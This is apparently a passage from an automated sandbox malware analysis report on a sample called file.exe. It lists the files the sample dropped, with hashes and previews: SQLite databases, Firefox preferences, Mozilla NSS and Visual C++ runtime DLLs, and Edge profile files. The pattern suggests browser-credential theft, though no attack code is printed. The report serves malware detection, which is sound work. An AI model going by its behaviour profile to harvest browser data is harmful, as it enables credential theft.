SHA-512:	312484208DC1C35F87629520FD6749B9DDB7D224E802D0420211A7535D911EC1FA0115DC32D8D1C2151CF05D5E15BBECC4BCE58955CFFDE2D6D5216E5F8F3BDF
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\BAEGCGCGIEGDHIDHJJEHDGHIEB

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, user version 12, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 3, database pages 3, cookie 0x1, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	98304
Entropy (8bit):	0.08235737944063153
Encrypted:	false
SSDEEP:	12:DQAsfWk73Fmdmc/OPVJXfPNn43etRRfYR5O8atLqxeYaNcDakMG/lO:DQAsff32mNVpP965Ra8KN0MG/lO
MD5:	369B6DD66F1CAD49D0952C40FEB9AD41
SHA1:	D05B2DE29433FB113EC4C558FF33087ED7481DD4
SHA-256:	14150D582B5321D91BDE0841066312AB3E6673CA51C982922BC293B82527220D
SHA-512:	771054845B27274054B6C73776204C235C46E0C742ECF3E2D9B650772BA5D259C8867B2FA92C3A9413D3E1AD35589D8431AC683DF84A53E13CDE361789045928
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j......}..}...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\CAKKJKKECFIDGDHIJEGD

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\CBGCGDBK

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 10, database pages 91, cookie 0x36, schema 4, UTF-8, version-valid-for 10
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.2650119259901957
Encrypted:	false
SSDEEP:	384:8/2qOB1nxCkM1SAELyKOMq+8yC8F/YfU5m+OlTLVumE:Bq+n0J19ELyKOMq+8y9/Owz
MD5:	AE843FAD361C1ADC9B4DDCD8C0F79E4F
SHA1:	780FA0DD73C8D2FDE0A370D44D51CA132438875E
SHA-256:	1ABF2FE982B424C44BC871EB68FB864EC5416DFFC395C078E0FAE4C98AD2B683
SHA-512:	497C6B049F01277A761B2DD99DF07EB4B9CFA6E05E372619746101BCD01F580544D4B90C9E8C12EC5DBB2ED05C0D6FF4C5838AF803C37CEC0D6D82FE487D213F
Malicious:	false
Preview:	SQLite format 3......@ .......[...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\DHJECFCGHIDGHIDHDHIE

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	ASCII text, with very long lines (1743), with CRLF line terminators
Category:	dropped
Size (bytes):	9504
Entropy (8bit):	5.512408163813622
Encrypted:	false
SSDEEP:	192:nnPOeRnWYbBp6RJ0aX+H6SEXKxkHWNBw8D4Sl:PeegJUaJHEw90
MD5:	1191AEB8EAFD5B2D5C29DF9B62C45278
SHA1:	584A8B78810AEE6008839EF3F1AC21FD5435B990
SHA-256:	0BF10710C381F5FCF42F9006D252E6CAFD2F18840865804EA93DAA06658F409A
SHA-512:	86FF4292BF8B6433703E4E650B6A4BF12BC203EF4BBBB2BC0EEEA8A3E6CC1967ABF486EEDCE80704D1023C15487CC34B6B319421D73E033D950DBB1724ABADD5
Malicious:	false
Preview:	// Mozilla User Preferences....// DO NOT EDIT THIS FILE...//..// If you make changes to this file while the application is running,..// the changes will be overwritten when the application exits...//..// To change a preference value, you can either:..// - modify it via the UI (e.g. via about:config in the browser); or..// - set it within a user.js file in your profile.....user_pref("app.normandy.first_run", false);..user_pref("app.normandy.migrationsApplied", 12);..user_pref("app.normandy.user_id", "9e34c6e7-cbed-40a0-ba63-35488e171013");..user_pref("app.update.auto.migrated", true);..user_pref("app.update.background.rolledout", true);..user_pref("app.update.lastUpdateTime.browser-cleanup-thumbnails", 0);..user_pref("app.update.lastUpdateTime.recipe-client-addon-run", 1696426836);..user_pref("app.update.lastUpdateTime.region-update-timer", 0);..user_pref("app.update.lastUpdateTime.rs-experiment-loader-timer", 1696426837);..user_pref("app.update.lastUpdateTime.xpi-signature-verification

C:\ProgramData\DHJJEGHIIDAFIDHJDHJEBAEGHC

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, user version 75, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 2, database pages 46, cookie 0x26, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	5242880
Entropy (8bit):	0.03859996294213402
Encrypted:	false
SSDEEP:	192:58rJQaXoMXp0VW9FxWHxDSjENbx56p3DisuwAyHI:58r54w0VW3xWdkEFxcp3y/y
MD5:	D2A38A463B7925FE3ABE31ECCCE66ACA
SHA1:	A1824888F9E086439B287DEA497F660F3AA4B397
SHA-256:	474361353F00E89A9ECB246EC4662682392EBAF4F2A4BE9ABB68BBEBE33FA4A0
SHA-512:	62DB46A530D952568EFBFF7796106E860D07754530B724E0392862EF76FDF99043DA9538EC0044323C814DF59802C3BB55454D591362CB9B6E39947D11E981F7
Malicious:	false
Preview:	SQLite format 3......@ ...................&...................K..................................j.....-a>.~...\|0{dz.z.z"y.y3x.xKw.v.u.uGt.t;sAs.q.p.q.p{o.ohn.nem.n,m9l.k.lPj.j.h.h.g.d.c.c6b.b.a.a>..................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\IECGIEBA

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.136413900497188
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6cV/04:MnlyfnGtxnfVuSVumEHV84
MD5:	429F49156428FD53EB06FC82088FD324
SHA1:	560E48154B4611838CD4E9DF4C14D0F9840F06AF
SHA-256:	9899B501723B97F6943D8FE6ABF06F7FE013B10A17F566BF8EFBF8DCB5C8BFAF
SHA-512:	1D76E844749C4B9566B542ACC49ED07FA844E2AD918393D56C011D430A3676FA5B15B311385F5DA9DD24443ABF06277908618A75664E878F369F68BEBE4CE52F
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\freebl3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\mozglue.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\msvcp140.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\ProgramData\nss3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\softokn3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\vcruntime140.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\102a42c5-efd3-43f0-b76e-c6d6ad5960fc.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44137
Entropy (8bit):	6.090738205813466
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBMpwuF9hDO6vP6O+atbzy70FqHoPFkGoup1Xl3jVu:z/Ps+wsI7ynEd6Xtbz8hu3VlXr4CRo1
MD5:	AA539E6A731163FF8F98E806E259C6E1
SHA1:	6347B122D517C4CCE6CEC1B6459DFE4224C7BDB1
SHA-256:	ADC26AEC1B8995A91313920ADB7324389D9C8342EAABDAA41691A68CC1AB93D8
SHA-512:	87B59DD010BF8C55D1F94829EFD6357A86D94A69BBD114CE4960298B630532E8C009606F370887A459CBC72BDB163E1455697BA1C3B6E1CDA164628606394DDA
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\6a96a8d9-73ad-4ced-8002-583ca875d72c.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	46123
Entropy (8bit):	6.0874534196099335
Encrypted:	false
SSDEEP:	768:UMkbJrT8IeQcrQgJ9iuUu4hDO6vP6OuQFwhuSPR77+3xIAB3lMCAoyGoup1Xl3jk:UMk1rT8Hp9iE63hTMRoyhu3VlXr4t
MD5:	2095AB9D5E7CD347071F96D7AE0987F6
SHA1:	5E19D2319205476FD14690BC332848807840791F
SHA-256:	77AB61DA9718AE70E26188E747009EC276E3313EF31450A9A0ABA29F56CEC0B6
SHA-512:	94C2C3C1BE6A6CA3ED65E997168CEAFC3B66111C2D0673F31AE26C34C6A3528A66DA4E01B56F53F1654E8AB00F4B510CFAD9A717360BC34568B1F1BE1847B2D6
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"5E25271B8190D943537AD3FDB50874FC133E8B4A00380E2A6A888D63386F728B\"","browser":{"browser_build_version":"117.0.2045.47","browser_version_of_last_seen_whats_new":"117.0.2045.47","last_seen_whats_new_page_version":"117.0.2045.47"},"desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"desktop_session_duration_tracker":{"last_session_end_timestamp":"1732058359"},"domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97yIFoYvbAluiw2oRoYgIQ2nG2AqJY2U+koRXQbbMm3fMsEX9JMK3GLbeAvNjhrlo5GOJiTA/oXLTdG6qXtmMBDiyS59PvY7eCklyb4QcfFi7tpdwu3VBt1XNor

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\76e26a31-1b4e-448e-ae6e-1ea275196cb8.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	46046
Entropy (8bit):	6.08752186710101
Encrypted:	false
SSDEEP:	768:UMkbJrT8IeQcrQgx9iuUu4hDO6vP6OuQRwhuSPR77+3xIAB3lMCAoyGoup1Xl3jk:UMk1rT8HR9iE6vhTMRoyhu3VlXr4t
MD5:	411375BA7F4E1FFFB79D1A2933AEB086
SHA1:	DB8B54E09E36A489947598946467435E1318B1A9
SHA-256:	2A3B372838A76C22C090C58645D883CBA109C6F92FAC638F4A78682C3894DAB0
SHA-512:	A91C2962DBD6B10DEF59633711CF4C7C70636641AF74FD0A0BDDB4C7A902E640373B527748CB08B2021AF26C352D4D2863BC304D10C79CC40CD456277D156EF5
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"5E25271B8190D943537AD3FDB50874FC133E8B4A00380E2A6A888D63386F728B\"","browser":{"browser_build_version":"117.0.2045.47","browser_version_of_last_seen_whats_new":"117.0.2045.47","last_seen_whats_new_page_version":"117.0.2045.47"},"desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"desktop_session_duration_tracker":{"last_session_end_timestamp":"1732058359"},"domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97yIFoYvbAluiw2oRoYgIQ2nG2AqJY2U+koRXQbbMm3fMsEX9JMK3GLbeAvNjhrlo5GOJiTA/oXLTdG6qXtmMBDiyS59PvY7eCklyb4QcfFi7tpdwu3VBt1XNor

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\8d34a2fa-ef43-479c-b19a-8a42b8f55c5e.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	modified
Size (bytes):	44612
Entropy (8bit):	6.096577175930531
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBRwu7hDO6vP6OuQZevYiTFkrcGoup1Xl3jVzXr4CW:z/Ps+wsI7ynEI6Hchu3VlXr4CRo1
MD5:	C366837A27D702E7927C7F027C3F7DC3
SHA1:	6DADC4F083ABCD31D39217017C118053AA133FBF
SHA-256:	DF3C2B83ECC02E454C44B363814AE48F598766F3D9CA2727D80CACE1DB6D5E45
SHA-512:	107AC49CDD3707678CB915E6CE6FE2F14A45FEF6B70FBDF7AC030C4F1E1AD0757F55C3268012320676046FB4D09A950747EF8926F2B49736E404C0759305F77D
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Ad Blocking\blocklist (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	107893
Entropy (8bit):	4.640132669903667
Encrypted:	false
SSDEEP:	1536:B/lv4EsQMNeQ9s5VwB34PsiaR+tjvYArQdW+Iuh57P7+:fwUQC5VwBIiElEd2K57P7+
MD5:	18D8F6617A5020376CEDA06FB42C24D5
SHA1:	F921FF53D8E1A065550AD835D89E550FDF448795
SHA-256:	C0E1D05E90044F0F5810E83826BE6449D44234CD601668E5E041FE7F3B2CAB32
SHA-512:	4FC6D77BDE79EB4EA56D8CFAEE5908C6D9233E65AD199C52A7425B76ECE9869466D3BE52E2A20B85FE50ABD712C57D8591DEBDDB9F3CBA45070E3233CC185DA4
Malicious:	false
Preview:	{"sites":[{"url":"24video.be"},{"url":"7dnifutbol.bg"},{"url":"6tv.dk"},{"url":"9kefa.com"},{"url":"aculpaedoslb.blogspot.pt"},{"url":"aek-live.gr"},{"url":"arcadepunk.co.uk"},{"url":"acidimg.cc"},{"url":"aazah.com"},{"url":"allehensbeverwijk.nl"},{"url":"amateurgonewild.org"},{"url":"aindasoudotempo.blogspot.com"},{"url":"anorthosis365.com"},{"url":"autoreview.bg"},{"url":"alivefoot.us"},{"url":"arbitro10.com"},{"url":"allhard.org"},{"url":"babesnude.info"},{"url":"aysel.today"},{"url":"animepornx.com"},{"url":"bahisideal20.com"},{"url":"analyseindustrie.nl"},{"url":"bahis10line.org"},{"url":"apoel365.net"},{"url":"bahissitelerisikayetleri.com"},{"url":"bambusratte.com"},{"url":"banzaj.pl"},{"url":"barlevegas.com"},{"url":"baston.info"},{"url":"atomcurve.com"},{"url":"atascadocherba.com"},{"url":"astrologer.gr"},{"url":"adultpicz.com"},{"url":"alleporno.com"},{"url":"beaver-tube.com"},{"url":"beachbabes.info"},{"url":"bearworldmagazine.com"},{"url":"bebegimdensonra.com"},{"url":"autoy

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Ad Blocking\fa5d698e-1b01-4574-a107-4a7a4d1a8387.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	107893
Entropy (8bit):	4.640132669903667
Encrypted:	false
SSDEEP:	1536:B/lv4EsQMNeQ9s5VwB34PsiaR+tjvYArQdW+Iuh57P7+:fwUQC5VwBIiElEd2K57P7+
MD5:	18D8F6617A5020376CEDA06FB42C24D5
SHA1:	F921FF53D8E1A065550AD835D89E550FDF448795
SHA-256:	C0E1D05E90044F0F5810E83826BE6449D44234CD601668E5E041FE7F3B2CAB32
SHA-512:	4FC6D77BDE79EB4EA56D8CFAEE5908C6D9233E65AD199C52A7425B76ECE9869466D3BE52E2A20B85FE50ABD712C57D8591DEBDDB9F3CBA45070E3233CC185DA4
Malicious:	false
